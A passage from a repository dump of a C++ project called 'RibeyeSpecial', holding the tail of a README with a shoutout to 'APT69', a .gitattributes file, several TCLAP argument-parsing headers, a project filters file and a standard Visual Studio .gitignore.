usage information and exits. 79 | 80 | 81 | Shoutout to APT69 and the brothers that are in it. 82 | https://twitter.com/TomahawkApt69 83 | ``` 84 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/ArgTraits.h: -------------------------------------------------------------------------------- 1 | // -*- Mode: c++; c-basic-offset: 4; tab-width: 4; -*- 2 | 3 | /****************************************************************************** 4 | * 5 | * file: ArgTraits.h 6 | * 7 | * Copyright (c) 2007, Daniel Aarno, Michael E. Smoot . 8 | * All rights reserved. 9 | * 10 | * See the file COPYING in the top directory of this distribution for 11 | * more information. 12 | * 13 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 16 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 18 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 19 | * DEALINGS IN THE SOFTWARE. 20 | * 21 | *****************************************************************************/ 22 | 23 | // This is an internal tclap file, you should probably not have to 24 | // include this directly 25 | 26 | #ifndef TCLAP_ARGTRAITS_H 27 | #define TCLAP_ARGTRAITS_H 28 | 29 | namespace TCLAP { 30 | 31 | // We use two empty structs to get compile type specialization 32 | // function to work 33 | 34 | /** 35 | * A value like argument value type is a value that can be set using 36 | * operator>>. This is the default value type. 37 | */ 38 | struct ValueLike { 39 | typedef ValueLike ValueCategory; 40 | virtual ~ValueLike() {} 41 | }; 42 | 43 | /** 44 | * A string like argument value type is a value that can be set using 45 | * operator=(string). Useful if the value type contains spaces which 46 | * will be broken up into individual tokens by operator>>. 47 | */ 48 | struct StringLike { 49 | virtual ~StringLike() {} 50 | }; 51 | 52 | /** 53 | * A class can inherit from this object to make it have string like 54 | * traits. This is a compile time thing and does not add any overhead 55 | * to the inherenting class. 56 | */ 57 | struct StringLikeTrait { 58 | typedef StringLike ValueCategory; 59 | virtual ~StringLikeTrait() {} 60 | }; 61 | 62 | /** 63 | * A class can inherit from this object to make it have value like 64 | * traits. This is a compile time thing and does not add any overhead 65 | * to the inherenting class. 66 | */ 67 | struct ValueLikeTrait { 68 | typedef ValueLike ValueCategory; 69 | virtual ~ValueLikeTrait() {} 70 | }; 71 | 72 | /** 73 | * Arg traits are used to get compile type specialization when parsing 74 | * argument values. Using an ArgTraits you can specify the way that 75 | * values gets assigned to any particular type during parsing. The two 76 | * supported types are StringLike and ValueLike. 77 | */ 78 | template 79 | struct ArgTraits { 80 | typedef typename T::ValueCategory ValueCategory; 81 | virtual ~ArgTraits() {} 82 | //typedef ValueLike ValueCategory; 83 | }; 84 | 85 | } // namespace 86 | 87 | #endif 88 | 89 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/ValuesConstraint.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | /****************************************************************************** 4 | * 5 | * file: ValuesConstraint.h 6 | * 7 | * Copyright (c) 2005, Michael E. Smoot 8 | * All rights reserved. 9 | * 10 | * See the file COPYING in the top directory of this distribution for 11 | * more information. 12 | * 13 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 16 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 18 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 19 | * DEALINGS IN THE SOFTWARE. 20 | * 21 | *****************************************************************************/ 22 | 23 | #ifndef TCLAP_VALUESCONSTRAINT_H 24 | #define TCLAP_VALUESCONSTRAINT_H 25 | 26 | #ifdef HAVE_CONFIG_H 27 | #include 28 | #endif 29 | 30 | #include 31 | #include 32 | #include "Constraint.h" 33 | #include "sstream.h" 34 | 35 | namespace TCLAP { 36 | 37 | /** 38 | * A Constraint that constrains the Arg to only those values specified 39 | * in the constraint. 40 | */ 41 | template 42 | class ValuesConstraint : public Constraint 43 | { 44 | 45 | public: 46 | 47 | /** 48 | * Constructor. 49 | * \param allowed - vector of allowed values. 50 | */ 51 | ValuesConstraint(std::vector& allowed); 52 | 53 | /** 54 | * Virtual destructor. 55 | */ 56 | virtual ~ValuesConstraint() {} 57 | 58 | /** 59 | * Returns a description of the Constraint. 60 | */ 61 | virtual std::string description() const; 62 | 63 | /** 64 | * Returns the short ID for the Constraint. 65 | */ 66 | virtual std::string shortID() const; 67 | 68 | /** 69 | * The method used to verify that the value parsed from the command 70 | * line meets the constraint. 71 | * \param value - The value that will be checked. 72 | */ 73 | virtual bool check(const T& value) const; 74 | 75 | protected: 76 | 77 | /** 78 | * The list of valid values. 79 | */ 80 | std::vector _allowed; 81 | 82 | /** 83 | * The string used to describe the allowed values of this constraint. 84 | */ 85 | std::string _typeDesc; 86 | 87 | }; 88 | 89 | template 90 | ValuesConstraint::ValuesConstraint(std::vector& allowed) 91 | : _allowed(allowed), 92 | _typeDesc("") 93 | { 94 | for ( unsigned int i = 0; i < _allowed.size(); i++ ) 95 | { 96 | 97 | #if defined(HAVE_SSTREAM) 98 | std::ostringstream os; 99 | #elif defined(HAVE_STRSTREAM) 100 | std::ostrstream os; 101 | #else 102 | #error "Need a stringstream (sstream or strstream) to compile!" 103 | #endif 104 | 105 | os << _allowed[i]; 106 | 107 | std::string temp( os.str() ); 108 | 109 | if ( i > 0 ) 110 | _typeDesc += "|"; 111 | _typeDesc += temp; 112 | } 113 | } 114 | 115 | template 116 | bool ValuesConstraint::check( const T& val ) const 117 | { 118 | if ( std::find(_allowed.begin(),_allowed.end(),val) == _allowed.end() ) 119 | return false; 120 | else 121 | return true; 122 | } 123 | 124 | template 125 | std::string ValuesConstraint::shortID() const 126 | { 127 | return _typeDesc; 128 | } 129 | 130 | template 131 | std::string ValuesConstraint::description() const 132 | { 133 | return _typeDesc; 134 | } 135 | 136 | 137 | } //namespace TCLAP 138 | #endif 139 | 140 | -------------------------------------------------------------------------------- /RibeyeSpecial/RibeyeSpecial.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {f229e176-0503-407f-b301-97c276ed012d} 18 | 19 | 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | 29 | 30 | Header Files 31 | 32 | 33 | tclap 34 | 35 | 36 | tclap 37 | 38 | 39 | tclap 40 | 41 | 42 | tclap 43 | 44 | 45 | tclap 46 | 47 | 48 | tclap 49 | 50 | 51 | tclap 52 | 53 | 54 | tclap 55 | 56 | 57 | tclap 58 | 59 | 60 | tclap 61 | 62 | 63 | tclap 64 | 65 | 66 | tclap 67 | 68 | 69 | tclap 70 | 71 | 72 | tclap 73 | 74 | 75 | tclap 76 | 77 | 78 | tclap 79 | 80 | 81 | tclap 82 | 83 | 84 | tclap 85 | 86 | 87 | tclap 88 | 89 | 90 | tclap 91 | 92 | 93 | tclap 94 | 95 | 96 | tclap 97 | 98 | 99 | tclap 100 | 101 | 102 | tclap 103 | 104 | 105 | tclap 106 | 107 | 108 | Header Files 109 | 110 | 111 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/CmdLineInterface.h: -------------------------------------------------------------------------------- 1 | 2 | /****************************************************************************** 3 | * 4 | * file: CmdLineInterface.h 5 | * 6 | * Copyright (c) 2003, Michael E. Smoot . 7 | * Copyright (c) 2004, Michael E. Smoot, Daniel Aarno. 8 | * All rights reserved. 9 | * 10 | * See the file COPYING in the top directory of this distribution for 11 | * more information. 12 | * 13 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 16 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 18 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 19 | * DEALINGS IN THE SOFTWARE. 20 | * 21 | *****************************************************************************/ 22 | 23 | #ifndef TCLAP_COMMANDLINE_INTERFACE_H 24 | #define TCLAP_COMMANDLINE_INTERFACE_H 25 | 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | 33 | namespace TCLAP { 34 | 35 | class Arg; 36 | class CmdLineOutput; 37 | class XorHandler; 38 | 39 | /** 40 | * The base class that manages the command line definition and passes 41 | * along the parsing to the appropriate Arg classes. 42 | */ 43 | class CmdLineInterface 44 | { 45 | public: 46 | 47 | /** 48 | * Destructor 49 | */ 50 | virtual ~CmdLineInterface() {} 51 | 52 | /** 53 | * Adds an argument to the list of arguments to be parsed. 54 | * \param a - Argument to be added. 55 | */ 56 | virtual void add( Arg& a )=0; 57 | 58 | /** 59 | * An alternative add. Functionally identical. 60 | * \param a - Argument to be added. 61 | */ 62 | virtual void add( Arg* a )=0; 63 | 64 | /** 65 | * Add two Args that will be xor'd. 66 | * If this method is used, add does 67 | * not need to be called. 68 | * \param a - Argument to be added and xor'd. 69 | * \param b - Argument to be added and xor'd. 70 | */ 71 | virtual void xorAdd( Arg& a, Arg& b )=0; 72 | 73 | /** 74 | * Add a list of Args that will be xor'd. If this method is used, 75 | * add does not need to be called. 76 | * \param xors - List of Args to be added and xor'd. 77 | */ 78 | virtual void xorAdd( std::vector& xors )=0; 79 | 80 | /** 81 | * Parses the command line. 82 | * \param argc - Number of arguments. 83 | * \param argv - Array of arguments. 84 | */ 85 | virtual void parse(int argc, const char * const * argv)=0; 86 | 87 | /** 88 | * Parses the command line. 89 | * \param args - A vector of strings representing the args. 90 | * args[0] is still the program name. 91 | */ 92 | void parse(std::vector& args); 93 | 94 | /** 95 | * Returns the CmdLineOutput object. 96 | */ 97 | virtual CmdLineOutput* getOutput()=0; 98 | 99 | /** 100 | * \param co - CmdLineOutput object that we want to use instead. 101 | */ 102 | virtual void setOutput(CmdLineOutput* co)=0; 103 | 104 | /** 105 | * Returns the version string. 106 | */ 107 | virtual std::string& getVersion()=0; 108 | 109 | /** 110 | * Returns the program name string. 111 | */ 112 | virtual std::string& getProgramName()=0; 113 | 114 | /** 115 | * Returns the argList. 116 | */ 117 | virtual std::list& getArgList()=0; 118 | 119 | /** 120 | * Returns the XorHandler. 121 | */ 122 | virtual XorHandler& getXorHandler()=0; 123 | 124 | /** 125 | * Returns the delimiter string. 126 | */ 127 | virtual char getDelimiter()=0; 128 | 129 | /** 130 | * Returns the message string. 131 | */ 132 | virtual std::string& getMessage()=0; 133 | 134 | /** 135 | * Indicates whether or not the help and version switches were created 136 | * automatically. 137 | */ 138 | virtual bool hasHelpAndVersion()=0; 139 | 140 | /** 141 | * Resets the instance as if it had just been constructed so that the 142 | * instance can be reused. 143 | */ 144 | virtual void reset()=0; 145 | }; 146 | 147 | } //namespace 148 | 149 | 150 | #endif 151 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/XorHandler.h: -------------------------------------------------------------------------------- 1 | 2 | /****************************************************************************** 3 | * 4 | * file: XorHandler.h 5 | * 6 | * Copyright (c) 2003, Michael E. Smoot . 7 | * Copyright (c) 2004, Michael E. Smoot, Daniel Aarno. 8 | * All rights reserved. 9 | * 10 | * See the file COPYING in the top directory of this distribution for 11 | * more information. 12 | * 13 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 16 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 18 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 19 | * DEALINGS IN THE SOFTWARE. 20 | * 21 | *****************************************************************************/ 22 | 23 | #ifndef TCLAP_XORHANDLER_H 24 | #define TCLAP_XORHANDLER_H 25 | 26 | #include "Arg.h" 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | namespace TCLAP { 33 | 34 | /** 35 | * This class handles lists of Arg's that are to be XOR'd on the command 36 | * line. This is used by CmdLine and you shouldn't ever use it. 37 | */ 38 | class XorHandler 39 | { 40 | protected: 41 | 42 | /** 43 | * The list of of lists of Arg's to be or'd together. 44 | */ 45 | std::vector< std::vector > _orList; 46 | 47 | public: 48 | 49 | /** 50 | * Constructor. Does nothing. 51 | */ 52 | XorHandler( ) : _orList(std::vector< std::vector >()) {} 53 | 54 | /** 55 | * Add a list of Arg*'s that will be xor'd together. 56 | * \param ors - list of Arg* that will be xor'd. 57 | */ 58 | void add( std::vector& ors ); 59 | 60 | /** 61 | * Checks whether the specified Arg is in one of the xor lists and 62 | * if it does match one, returns the size of the xor list that the 63 | * Arg matched. If the Arg matches, then it also sets the rest of 64 | * the Arg's in the list. You shouldn't use this. 65 | * \param a - The Arg to be checked. 66 | */ 67 | int check( const Arg* a ); 68 | 69 | /** 70 | * Returns the XOR specific short usage. 71 | */ 72 | std::string shortUsage(); 73 | 74 | /** 75 | * Prints the XOR specific long usage. 76 | * \param os - Stream to print to. 77 | */ 78 | void printLongUsage(std::ostream& os); 79 | 80 | /** 81 | * Simply checks whether the Arg is contained in one of the arg 82 | * lists. 83 | * \param a - The Arg to be checked. 84 | */ 85 | bool contains( const Arg* a ); 86 | 87 | std::vector< std::vector >& getXorList(); 88 | 89 | }; 90 | 91 | 92 | ////////////////////////////////////////////////////////////////////// 93 | //BEGIN XOR.cpp 94 | ////////////////////////////////////////////////////////////////////// 95 | inline void XorHandler::add( std::vector& ors ) 96 | { 97 | _orList.push_back( ors ); 98 | } 99 | 100 | inline int XorHandler::check( const Arg* a ) 101 | { 102 | // iterate over each XOR list 103 | for ( int i = 0; static_cast(i) < _orList.size(); i++ ) 104 | { 105 | // if the XOR list contains the arg.. 106 | ArgVectorIterator ait = std::find( _orList[i].begin(), 107 | _orList[i].end(), a ); 108 | if ( ait != _orList[i].end() ) 109 | { 110 | // first check to see if a mutually exclusive switch 111 | // has not already been set 112 | for ( ArgVectorIterator it = _orList[i].begin(); 113 | it != _orList[i].end(); 114 | it++ ) 115 | if ( a != (*it) && (*it)->isSet() ) 116 | throw(CmdLineParseException( 117 | "Mutually exclusive argument already set!", 118 | (*it)->toString())); 119 | 120 | // go through and set each arg that is not a 121 | for ( ArgVectorIterator it = _orList[i].begin(); 122 | it != _orList[i].end(); 123 | it++ ) 124 | if ( a != (*it) ) 125 | (*it)->xorSet(); 126 | 127 | // return the number of required args that have now been set 128 | if ( (*ait)->allowMore() ) 129 | return 0; 130 | else 131 | return static_cast(_orList[i].size()); 132 | } 133 | } 134 | 135 | if ( a->isRequired() ) 136 | return 1; 137 | else 138 | return 0; 139 | } 140 | 141 | inline bool XorHandler::contains( const Arg* a ) 142 | { 143 | for ( int i = 0; static_cast(i) < _orList.size(); i++ ) 144 | for ( ArgVectorIterator it = _orList[i].begin(); 145 | it != _orList[i].end(); 146 | it++ ) 147 | if ( a == (*it) ) 148 | return true; 149 | 150 | return false; 151 | } 152 | 153 | inline std::vector< std::vector >& XorHandler::getXorList() 154 | { 155 | return _orList; 156 | } 157 | 158 | 159 | 160 | ////////////////////////////////////////////////////////////////////// 161 | //END XOR.cpp 162 | ////////////////////////////////////////////////////////////////////// 163 | 164 | } //namespace TCLAP 165 | 166 | #endif 167 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/StandardTraits.h: -------------------------------------------------------------------------------- 1 | // -*- Mode: c++; c-basic-offset: 4; tab-width: 4; -*- 2 | 3 | /****************************************************************************** 4 | * 5 | * file: StandardTraits.h 6 | * 7 | * Copyright (c) 2007, Daniel Aarno, Michael E. Smoot . 8 | * All rights reserved. 9 | * 10 | * See the file COPYING in the top directory of this distribution for 11 | * more information. 12 | * 13 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 16 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 18 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 19 | * DEALINGS IN THE SOFTWARE. 20 | * 21 | *****************************************************************************/ 22 | 23 | // This is an internal tclap file, you should probably not have to 24 | // include this directly 25 | 26 | #ifndef TCLAP_STANDARD_TRAITS_H 27 | #define TCLAP_STANDARD_TRAITS_H 28 | 29 | #ifdef HAVE_CONFIG_H 30 | #include // To check for long long 31 | #endif 32 | 33 | // If Microsoft has already typedef'd wchar_t as an unsigned 34 | // short, then compiles will break because it's as if we're 35 | // creating ArgTraits twice for unsigned short. Thus... 36 | #ifdef _MSC_VER 37 | #ifndef _NATIVE_WCHAR_T_DEFINED 38 | #define TCLAP_DONT_DECLARE_WCHAR_T_ARGTRAITS 39 | #endif 40 | #endif 41 | 42 | namespace TCLAP { 43 | 44 | // ====================================================================== 45 | // Integer types 46 | // ====================================================================== 47 | 48 | /** 49 | * longs have value-like semantics. 50 | */ 51 | template<> 52 | struct ArgTraits { 53 | typedef ValueLike ValueCategory; 54 | }; 55 | 56 | /** 57 | * ints have value-like semantics. 58 | */ 59 | template<> 60 | struct ArgTraits { 61 | typedef ValueLike ValueCategory; 62 | }; 63 | 64 | /** 65 | * shorts have value-like semantics. 66 | */ 67 | template<> 68 | struct ArgTraits { 69 | typedef ValueLike ValueCategory; 70 | }; 71 | 72 | /** 73 | * chars have value-like semantics. 74 | */ 75 | template<> 76 | struct ArgTraits { 77 | typedef ValueLike ValueCategory; 78 | }; 79 | 80 | #ifdef HAVE_LONG_LONG 81 | /** 82 | * long longs have value-like semantics. 83 | */ 84 | template<> 85 | struct ArgTraits { 86 | typedef ValueLike ValueCategory; 87 | }; 88 | #endif 89 | 90 | // ====================================================================== 91 | // Unsigned integer types 92 | // ====================================================================== 93 | 94 | /** 95 | * unsigned longs have value-like semantics. 96 | */ 97 | template<> 98 | struct ArgTraits { 99 | typedef ValueLike ValueCategory; 100 | }; 101 | 102 | /** 103 | * unsigned ints have value-like semantics. 104 | */ 105 | template<> 106 | struct ArgTraits { 107 | typedef ValueLike ValueCategory; 108 | }; 109 | 110 | /** 111 | * unsigned shorts have value-like semantics. 112 | */ 113 | template<> 114 | struct ArgTraits { 115 | typedef ValueLike ValueCategory; 116 | }; 117 | 118 | /** 119 | * unsigned chars have value-like semantics. 120 | */ 121 | template<> 122 | struct ArgTraits { 123 | typedef ValueLike ValueCategory; 124 | }; 125 | 126 | // Microsoft implements size_t awkwardly. 127 | #if defined(_MSC_VER) && defined(_M_X64) 128 | /** 129 | * size_ts have value-like semantics. 130 | */ 131 | template<> 132 | struct ArgTraits { 133 | typedef ValueLike ValueCategory; 134 | }; 135 | #endif 136 | 137 | 138 | #ifdef HAVE_LONG_LONG 139 | /** 140 | * unsigned long longs have value-like semantics. 141 | */ 142 | template<> 143 | struct ArgTraits { 144 | typedef ValueLike ValueCategory; 145 | }; 146 | #endif 147 | 148 | // ====================================================================== 149 | // Float types 150 | // ====================================================================== 151 | 152 | /** 153 | * floats have value-like semantics. 154 | */ 155 | template<> 156 | struct ArgTraits { 157 | typedef ValueLike ValueCategory; 158 | }; 159 | 160 | /** 161 | * doubles have value-like semantics. 162 | */ 163 | template<> 164 | struct ArgTraits { 165 | typedef ValueLike ValueCategory; 166 | }; 167 | 168 | // ====================================================================== 169 | // Other types 170 | // ====================================================================== 171 | 172 | /** 173 | * bools have value-like semantics. 174 | */ 175 | template<> 176 | struct ArgTraits { 177 | typedef ValueLike ValueCategory; 178 | }; 179 | 180 | 181 | /** 182 | * wchar_ts have value-like semantics. 183 | */ 184 | #ifndef TCLAP_DONT_DECLARE_WCHAR_T_ARGTRAITS 185 | template<> 186 | struct ArgTraits { 187 | typedef ValueLike ValueCategory; 188 | }; 189 | #endif 190 | 191 | /** 192 | * Strings have string like argument traits. 193 | */ 194 | template<> 195 | struct ArgTraits { 196 | typedef StringLike ValueCategory; 197 | }; 198 | 199 | template 200 | void SetString(T &dst, const std::string &src) 201 | { 202 | dst = src; 203 | } 204 | 205 | } // namespace 206 | 207 | #endif 208 | 209 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | x64/ 19 | x86/ 20 | bld/ 21 | [Bb]in/ 22 | [Oo]bj/ 23 | [Ll]og/ 24 | 25 | # Visual Studio 2015 cache/options directory 26 | .vs/ 27 | # Uncomment if you have tasks that create the project's static files in wwwroot 28 | #wwwroot/ 29 | 30 | # MSTest test Results 31 | [Tt]est[Rr]esult*/ 32 | [Bb]uild[Ll]og.* 33 | 34 | # NUNIT 35 | *.VisualState.xml 36 | TestResult.xml 37 | 38 | # Build Results of an ATL Project 39 | [Dd]ebugPS/ 40 | [Rr]eleasePS/ 41 | dlldata.c 42 | 43 | # DNX 44 | project.lock.json 45 | project.fragment.lock.json 46 | artifacts/ 47 | 48 | *_i.c 49 | *_p.c 50 | *_i.h 51 | *.ilk 52 | *.meta 53 | *.obj 54 | *.pch 55 | *.pdb 56 | *.pgc 57 | *.pgd 58 | *.rsp 59 | *.sbr 60 | *.tlb 61 | *.tli 62 | *.tlh 63 | *.tmp 64 | *.tmp_proj 65 | *.log 66 | *.vspscc 67 | *.vssscc 68 | .builds 69 | *.pidb 70 | *.svclog 71 | *.scc 72 | 73 | # Chutzpah Test files 74 | _Chutzpah* 75 | 76 | # Visual C++ cache files 77 | ipch/ 78 | *.aps 79 | *.ncb 80 | *.opendb 81 | *.opensdf 82 | *.sdf 83 | *.cachefile 84 | *.VC.db 85 | *.VC.VC.opendb 86 | 87 | # Visual Studio profiler 88 | *.psess 89 | *.vsp 90 | *.vspx 91 | *.sap 92 | 93 | # TFS 2012 Local Workspace 94 | $tf/ 95 | 96 | # Guidance Automation Toolkit 97 | *.gpState 98 | 99 | # ReSharper is a .NET coding add-in 100 | _ReSharper*/ 101 | *.[Rr]e[Ss]harper 102 | *.DotSettings.user 103 | 104 | # JustCode is a .NET coding add-in 105 | .JustCode 106 | 107 | # TeamCity is a build add-in 108 | _TeamCity* 109 | 110 | # DotCover is a Code Coverage Tool 111 | *.dotCover 112 | 113 | # NCrunch 114 | _NCrunch_* 115 | .*crunch*.local.xml 116 | nCrunchTemp_* 117 | 118 | # MightyMoose 119 | *.mm.* 120 | AutoTest.Net/ 121 | 122 | # Web workbench (sass) 123 | .sass-cache/ 124 | 125 | # Installshield output folder 126 | [Ee]xpress/ 127 | 128 | # DocProject is a documentation generator add-in 129 | DocProject/buildhelp/ 130 | DocProject/Help/*.HxT 131 | DocProject/Help/*.HxC 132 | DocProject/Help/*.hhc 133 | DocProject/Help/*.hhk 134 | DocProject/Help/*.hhp 135 | DocProject/Help/Html2 136 | DocProject/Help/html 137 | 138 | # Click-Once directory 139 | publish/ 140 | 141 | # Publish Web Output 142 | *.[Pp]ublish.xml 143 | *.azurePubxml 144 | # TODO: Comment the next line if you want to checkin your web deploy settings 145 | # but database connection strings (with potential passwords) will be unencrypted 146 | #*.pubxml 147 | *.publishproj 148 | 149 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 150 | # checkin your Azure Web App publish settings, but sensitive information contained 151 | # in these scripts will be unencrypted 152 | PublishScripts/ 153 | 154 | # NuGet Packages 155 | *.nupkg 156 | # The packages folder can be ignored because of Package Restore 157 | **/packages/* 158 | # except build/, which is used as an MSBuild target. 159 | !**/packages/build/ 160 | # Uncomment if necessary however generally it will be regenerated when needed 161 | #!**/packages/repositories.config 162 | # NuGet v3's project.json files produces more ignoreable files 163 | *.nuget.props 164 | *.nuget.targets 165 | 166 | # Microsoft Azure Build Output 167 | csx/ 168 | *.build.csdef 169 | 170 | # Microsoft Azure Emulator 171 | ecf/ 172 | rcf/ 173 | 174 | # Windows Store app package directories and files 175 | AppPackages/ 176 | BundleArtifacts/ 177 | Package.StoreAssociation.xml 178 | _pkginfo.txt 179 | 180 | # Visual Studio cache files 181 | # files ending in .cache can be ignored 182 | *.[Cc]ache 183 | # but keep track of directories ending in .cache 184 | !*.[Cc]ache/ 185 | 186 | # Others 187 | ClientBin/ 188 | ~$* 189 | *~ 190 | *.dbmdl 191 | *.dbproj.schemaview 192 | *.jfm 193 | *.pfx 194 | *.publishsettings 195 | node_modules/ 196 | orleans.codegen.cs 197 | 198 | # Since there are multiple workflows, uncomment next line to ignore bower_components 199 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 200 | #bower_components/ 201 | 202 | # RIA/Silverlight projects 203 | Generated_Code/ 204 | 205 | # Backup & report files from converting an old project file 206 | # to a newer Visual Studio version. Backup files are not needed, 207 | # because we have git ;-) 208 | _UpgradeReport_Files/ 209 | Backup*/ 210 | UpgradeLog*.XML 211 | UpgradeLog*.htm 212 | 213 | # SQL Server files 214 | *.mdf 215 | *.ldf 216 | 217 | # Business Intelligence projects 218 | *.rdl.data 219 | *.bim.layout 220 | *.bim_*.settings 221 | 222 | # Microsoft Fakes 223 | FakesAssemblies/ 224 | 225 | # GhostDoc plugin setting file 226 | *.GhostDoc.xml 227 | 228 | # Node.js Tools for Visual Studio 229 | .ntvs_analysis.dat 230 | 231 | # Visual Studio 6 build log 232 | *.plg 233 | 234 | # Visual Studio 6 workspace options file 235 | *.opt 236 | 237 | # Visual Studio LightSwitch build output 238 | **/*.HTMLClient/GeneratedArtifacts 239 | **/*.DesktopClient/GeneratedArtifacts 240 | **/*.DesktopClient/ModelManifest.xml 241 | **/*.Server/GeneratedArtifacts 242 | **/*.Server/ModelManifest.xml 243 | _Pvt_Extensions 244 | 245 | # Paket dependency manager 246 | .paket/paket.exe 247 | paket-files/ 248 | 249 | # FAKE - F# Make 250 | .fake/ 251 